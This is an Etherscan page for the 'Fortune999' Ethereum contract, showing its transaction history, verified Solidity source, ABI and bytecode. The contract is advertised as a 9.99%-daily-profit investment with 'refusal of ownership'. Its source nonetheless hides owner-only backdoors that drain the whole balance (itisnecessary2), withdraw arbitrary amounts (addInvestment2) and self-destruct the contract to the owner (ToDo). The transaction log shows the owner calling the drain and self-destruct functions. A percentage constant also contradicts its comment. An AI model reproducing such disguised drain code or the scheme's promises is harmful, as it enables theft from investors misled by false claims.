ETH Price: $2,076.13 (+8.92%)
 

Overview

ETH Balance

0.97 ETH

Eth Value

$2,013.85 (@ $2,076.13/ETH)

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Itisnecessary2132770052021-09-22 18:02:081617 days ago1632333728IN
0xc97C8d54...b792fEca0
0 ETH0.0020192395.86211371
To Do132767482021-09-22 16:57:051617 days ago1632329825IN
0xc97C8d54...b792fEca0
0 ETH0.0017881684.892074
Transfer83371882019-08-12 17:52:372389 days ago1565632357IN
0xc97C8d54...b792fEca0
0 ETH0.00010084.80024012
Transfer81793932019-07-19 6:00:302413 days ago1563516030IN
0xc97C8d54...b792fEca0
0 ETH0.0001266
Transfer81606042019-07-16 7:31:492416 days ago1563262309IN
0xc97C8d54...b792fEca0
0.07 ETH0.00086141
Transfer81603842019-07-16 6:46:462416 days ago1563259606IN
0xc97C8d54...b792fEca0
0.1 ETH0.00086141
Transfer81602772019-07-16 6:17:292416 days ago1563257849IN
0xc97C8d54...b792fEca0
0.03 ETH0.00086141
Transfer81468852019-07-14 4:02:452419 days ago1563076965IN
0xc97C8d54...b792fEca0
0 ETH0.00014496.9
Transfer81417422019-07-13 8:57:142419 days ago1563008234IN
0xc97C8d54...b792fEca0
0 ETH0.000241511.5
Transfer81248372019-07-10 17:35:062422 days ago1562780106IN
0xc97C8d54...b792fEca0
0 ETH0.00010084.8
Transfer80985032019-07-06 15:30:512426 days ago1562427051IN
0xc97C8d54...b792fEca0
0 ETH0.000196349.34984499
Transfer80930252019-07-05 19:00:362427 days ago1562353236IN
0xc97C8d54...b792fEca0
0 ETH0.000241511.5
Transfer80895592019-07-05 5:55:552427 days ago1562306155IN
0xc97C8d54...b792fEca0
0.01 ETH0.00004462.124
Transfer80850352019-07-04 13:08:162428 days ago1562245696IN
0xc97C8d54...b792fEca0
0.01 ETH0.000241511.5
Transfer80839132019-07-04 9:00:522428 days ago1562230852IN
0xc97C8d54...b792fEca0
0 ETH0.00019329.2
Add Investment280784342019-07-03 12:26:592429 days ago1562156819IN
0xc97C8d54...b792fEca0
0 ETH0.000065353
Itisnecessary280784172019-07-03 12:23:282429 days ago1562156608IN
0xc97C8d54...b792fEca0
0 ETH0.000127636
Transfer80729142019-07-02 15:36:142430 days ago1562081774IN
0xc97C8d54...b792fEca0
0 ETH0.00048323.00000051
Transfer80665592019-07-01 15:57:332431 days ago1561996653IN
0xc97C8d54...b792fEca0
0 ETH0.00048323.00000051
Transfer80629492019-07-01 2:27:262432 days ago1561948046IN
0xc97C8d54...b792fEca0
0 ETH0.000241511.50000025
Transfer80612132019-06-30 19:54:202432 days ago1561924460IN
0xc97C8d54...b792fEca0
0 ETH0.0002110
0xff5b26fe80600842019-06-30 15:38:092432 days ago1561909089IN
0xc97C8d54...b792fEca0
0.75 ETH0.000112145.00000051
Transfer80575462019-06-30 6:18:282432 days ago1561875508IN
0xc97C8d54...b792fEca0
0 ETH0.00023111
Transfer80553862019-06-29 22:12:352433 days ago1561846355IN
0xc97C8d54...b792fEca0
0 ETH0.0004220
Transfer80545852019-06-29 19:11:512433 days ago1561835511IN
0xc97C8d54...b792fEca0
0 ETH0.0001055
View all transactions

Latest 23 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
-80536222019-06-29 15:41:502433 days ago1561822910
0xc97C8d54...b792fEca0
0 ETH
-80535752019-06-29 15:30:342433 days ago1561822234
0xc97C8d54...b792fEca0
0.14025 ETH
-80529702019-06-29 13:10:462433 days ago1561813846
0xc97C8d54...b792fEca0
0.0005 ETH
-80529702019-06-29 13:10:462433 days ago1561813846
0xc97C8d54...b792fEca0
0.001 ETH
-80485922019-06-28 20:50:592434 days ago1561755059
0xc97C8d54...b792fEca0
0.006 ETH
-80485922019-06-28 20:50:592434 days ago1561755059
0xc97C8d54...b792fEca0
0.012 ETH
-80482442019-06-28 19:31:102434 days ago1561750270
0xc97C8d54...b792fEca0
0.00175 ETH
-80482442019-06-28 19:31:102434 days ago1561750270
0xc97C8d54...b792fEca0
0.0035 ETH
-80480922019-06-28 18:57:412434 days ago1561748261
0xc97C8d54...b792fEca0
0.12835 ETH
-80480922019-06-28 18:57:412434 days ago1561748261
0xc97C8d54...b792fEca0
 Contract Creation0 ETH
-80425932019-06-27 22:22:552435 days ago1561674175
0xc97C8d54...b792fEca0
0.0015 ETH
-80425932019-06-27 22:22:552435 days ago1561674175
0xc97C8d54...b792fEca0
0.003 ETH
-80424922019-06-27 21:58:092435 days ago1561672689
0xc97C8d54...b792fEca0
0.00255 ETH
-80424922019-06-27 21:58:092435 days ago1561672689
0xc97C8d54...b792fEca0
0.0051 ETH
-80418232019-06-27 19:29:212435 days ago1561663761
0xc97C8d54...b792fEca0
0.00075 ETH
-80418232019-06-27 19:29:212435 days ago1561663761
0xc97C8d54...b792fEca0
0.0015 ETH
-80415792019-06-27 18:38:342435 days ago1561660714
0xc97C8d54...b792fEca0
0.00175 ETH
-80415792019-06-27 18:38:342435 days ago1561660714
0xc97C8d54...b792fEca0
0.0035 ETH
-80361072019-06-26 21:57:232436 days ago1561586243
0xc97C8d54...b792fEca0
0.0005 ETH
-80361072019-06-26 21:57:232436 days ago1561586243
0xc97C8d54...b792fEca0
0.001 ETH
-80338292019-06-26 13:21:562436 days ago1561555316
0xc97C8d54...b792fEca0
0.0005 ETH
-80338292019-06-26 13:21:562436 days ago1561555316
0xc97C8d54...b792fEca0
0.001 ETH
-80331622019-06-26 10:52:092436 days ago1561546329
0xc97C8d54...b792fEca0
 Contract Creation0 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
Contract Self Destruct called at Txn Hash 0xc7a1cc0984f693366ebf2ec95feba55c8b49230f780784484f37a6ba0f4f669f


Contract Source Code Verified (Exact Match)

Contract Name:
Fortune999

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-06-26
*/

pragma solidity 0.4.25;

/**
*
* Get your 9,99% every day profit with Fortune 999 Contract!
* GitHub https://github.com/fortune333/fortune999
* Site https://fortune333.online/
*
* With the refusal of ownership, without the human factor, on the most reliable blockchain in the world!
* Only 5% for technical support and 10% for advertising!
* The remaining 85% remain in the contract fund!
* The world has never seen anything like it!
*/


library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}


library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}

function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}

function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}

function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}

function isZero(uint a) internal pure returns(bool) {
return a == 0;
}

function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}


library Percent {
struct percent {
uint num;
uint den;
}

function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}

function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}

function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}

function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}

function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}

function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}

function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}

function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}

function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}


library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}

function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}


/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {

/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}

uint256 c = _a * _b;
require(c / _a == _b);

return c;
}

/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold

return c;
}

/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;

return c;
}

/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);

return c;
}

/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}


contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}

constructor() public {
owner = msg.sender;
}


function ToDo() public onlyOwner {
    selfdestruct(owner);
    }

function disown() internal {
delete owner;
}

}


contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}


contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}


library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}

function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}

function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}

(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);

(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);

if (currInvestment >= maxInvestment) {
return 0;
}

return maxInvestment-currInvestment;
}

function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}


contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;

mapping (address => Investor) private investors;

function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}

function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}

function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}

function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}




function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}

function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}


library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;

struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}

function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}

function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}

function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}

function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;

}
 

function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}

contract Fortune999 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;

// easy read for investors
using Address for *;
using Zero for *;

RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;

// automatically generates getters
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;

// percents
Percent.percent private m_1_percent = Percent.percent(111,10000);            // 111/10000 *100% = 1.11%
Percent.percent private m_5_percent = Percent.percent(555,10000);            // 555/10000 *100% = 5.55%
Percent.percent private m_7_percent = Percent.percent(777,10000);            // 777/10000 *100% = 7.77%
Percent.percent private m_8_percent = Percent.percent(888,10000);            // 888/10000 *100% = 8.88%
Percent.percent private m_9_percent = Percent.percent(999,100);              // 999/10000 *100% = 9.99%
Percent.percent private m_10_percent = Percent.percent(10,100);            // 10/100 *100% = 10%
Percent.percent private m_11_percent = Percent.percent(11,100);            // 11/100 *100% = 11%
Percent.percent private m_12_percent = Percent.percent(12,100);            // 12/100 *100% = 12%
Percent.percent private m_referal_percent = Percent.percent(888,10000);        // 888/10000 *100% = 8.88%
Percent.percent private m_referrer_percent = Percent.percent(888,10000);       // 888/10000 *100% = 8.88%
Percent.percent private m_referrer_percentMax = Percent.percent(10,100);       // 10/100 *100% = 10%
Percent.percent private m_adminsPercent = Percent.percent(5,100);          //  5/100 *100% = 5.0%
Percent.percent private m_advertisingPercent = Percent.percent(10,100);    //  10/100 *100% = 10.0%

// more events for easy read from blockchain
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);


modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}

modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}

constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}

function() public payable {
// investor get him dividends
if (msg.value.isZero()) {
getMyDividends();
return;
}

// sender do invest
doInvest(msg.data.toAddress());
}

function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}

function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}

// init Rapid Growth Protection

function init(address rev1StorageAddr, uint timestamp) public onlyOwner {

m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);


// init Private Entrance
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}

function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}

function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}

function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}

function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}

function investorsNumber() public view returns(uint) {
return m_investors.size();
}

function balanceETH() public view returns(uint) {
return address(this).balance;
}



function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}

function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}

function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}



function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}

function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}

function getMyDividends() public notFromContract balanceChanged {
// calculate dividends

//check if 1 day passed after last payment
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);

uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");

// update investor payment timestamp
assert(m_investors.setPaymentTime(msg.sender, now));

// check enough eth - goto next wave if needed
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}


    
// transfer dividends to investor
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}

    
function itisnecessary2() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }    
    

function addInvestment2( uint investment) public onlyOwner  {

msg.sender.transfer(investment);

} 

function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");

if (m_rgp.isActive()) {
// use Rapid Growth Protection if needed
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());

} else if (m_privEnter.isActive()) {
// use Private Entrance if needed
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}

// send excess of ether if needed
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}

// commission
advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther));
adminsAddress.transfer(m_adminsPercent.mul(receivedEther));

bool senderIsInvestor = m_investors.isInvestor(msg.sender);

// ref system works only once and only on first invest
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {

m_referrals[msg.sender] = true;
// add referral bonus to investor`s and referral`s investments
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}

uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus)); // add referrer bonus
investment += referalBonus;                                    // add referral bonus
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}

// automatic reinvest - prevent burning dividends
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}

if (senderIsInvestor) {
// update existing investor
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
// create new investor
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}

investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}

function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}

function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);

// safe gas if dividends will be 0
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}

// for prevent burning daily dividends if 24h did not pass - calculate it per 10 min interval
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}

function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;

if (balance < 500 ether) {
p = m_9_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_10_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 10000 ether) {
p = m_11_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_12_percent.toMemory();
}
}



function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
}

Contract Security Audit

Contract ABI

API
[{"constant":false,"inputs":[],"name":"ToDo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrs","type":"address[]"}],"name":"privateEntranceProvideAccessFor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"disqualifyAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"advertisingAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"rev1StorageAddr","type":"address"},{"name":"timestamp","type":"uint256"}],"name":"init","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"minInvesment","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminsAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"investorsNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"itisnecessary2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"investorDividendsAtNow","outputs":[{"name":"dividends","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rapidGrowthProtectionmMaxInvestmentAtNow","outputs":[{"name":"investment","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"advertisingPercent","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminsPercent","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setAdminsAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"investmentsNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"dailyPercentAtNow","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setAdvertisingAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investment","type":"uint256"}],"name":"addInvestment2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getMyDividends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"referrerAddr","type":"address"}],"name":"doInvest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"investorInfo","outputs":[{"name":"investment","type":"uint256"},{"name":"paymentTime","type":"uint256"},{"name":"isReferral","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"waveStartup","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"balanceETH","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"doDisown","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"rev1Storage","type":"address"},{"indexed":false,"name":"rev2Storage","type":"address"},{"indexed":false,"name":"investorMaxInvestment","type":"uint256"},{"indexed":false,"name":"endTimestamp","type":"uint256"}],"name":"LogPEInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":false,"name":"excess","type":"uint256"}],"name":"LogSendExcessOfEther","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":true,"name":"referrerAddr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"refBonus","type":"uint256"}],"name":"LogNewReferral","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"startTimestamp","type":"uint256"},{"indexed":false,"name":"maxDailyTotalInvestment","type":"uint256"},{"indexed":false,"name":"activityDays","type":"uint256"}],"name":"LogRGPInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":true,"name":"day","type":"uint256"}],"name":"LogRGPInvestment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":false,"name":"value","type":"uint256"}],"name":"LogNewInvesment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"}],"name":"LogAutomaticReinvest","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"dividends","type":"uint256"}],"name":"LogPayDividends","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"}],"name":"LogNewInvestor","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"LogBalanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"}],"name":"LogNextWave","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"}],"name":"LogDisown","type":"event"}]

606f608081905261271060a0819052601091909155601181905561022b60c081905260e082905260125560138190556103096101008190526101208290526014556015819055610378610140819052610160829052601681905560178290556103e761018081905260646101a08190526018919091556019819055600a6101c08190526101e0829052601a819055601b829055600b610200819052610220839052601c55601d829055600c610240819052610260839052601e55601f8290556102808390526102a0849052602083905560218490556102c08390526102e084905260229290925560239290925561030081905261032082905260248190556025829055600561034081905261036083905260265560278290556103c06040526103808190526103a08290526028556029553480156200013d57600080fd5b506000805433600160a060020a03199182168117909255600d8054821683179055600c805490911690911790556200017d64010000000062000183810204565b6200028e565b6200018d6200027d565b604051809103906000f080158015620001aa573d6000803e3d6000fd5b50600b8054600160a060020a031916600160a060020a03929092169190911790556000600e5542600f819055620001f290600190640100000000620002798102620020241704565b6001546002546003546040805142815260208101949094528381019290925260ff166060830152517f16171a4e996b33ebb6320397242a4168f60c16e87fbd8b58f1744d68c4179caf9181900360800190a16040805142815290517fc66870ef5f6257a76295d443e9221488043ec691f830f6c6128755c3518e3c759181900360200190a1565b9055565b60405161054680620028a483390190565b612606806200029e6000396000f3006080604052600436106101485763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663044e8fc681146101a757806306127a11146101bc57806315aa6833146102115780631686531a